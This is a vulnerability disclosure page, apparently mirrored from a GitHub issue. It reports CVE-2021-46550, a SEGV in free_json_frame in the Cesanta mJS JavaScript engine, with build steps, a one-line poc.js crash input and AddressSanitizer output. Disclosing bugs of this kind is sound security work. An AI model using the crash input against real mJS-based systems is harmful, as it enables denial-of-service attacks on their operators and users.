Headline

CVE-2021-46550: SEGV src/mjs_json.c:323 in free_json_frame · Issue #230 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via free_json_frame at src/mjs_json.c. This vulnerability can lead to a Denial of Service (DoS).

2 years ago

CVE

Open in Source

#vulnerability #ubuntu #linux #dos #js #git

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Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

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@hope-fly

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile DOCKER_GCC=gcc $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)

save the makefile then make

make

Test casepoc.js

(JSON.stringify([1, 2, 3]))((JSON.stringify-6.34321e2)(JSON.stringify([1, 2, 3])));

Execution steps & Output

$ ./mjs/build/mjs poc.js > $ Gmjs poc.js ASAN:DEADLYSIGNAL ================================================================= ======ERROR: AddressSanitizer: SEGV on unknown address 0x561b4e461e9c (pc 0x561b4e461ed5 bp 0x000000000080 sp 0x7ffdacf6fb18 T0) ======The signal is caused by a WRITE memory access. #0 0x561b4e461ed4 in free_json_frame src/mjs_json.c:323 #1 0x561b4e461ed4 in mjs_json_parse src/mjs_json.c:476 #2 0x7ffdacf6fc0f (<unknown module>)

AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV src/mjs_json.c:323 in free_json_frame ======ABORTING

Credits: Found by OWL337 team.

1 participant

@hope-fly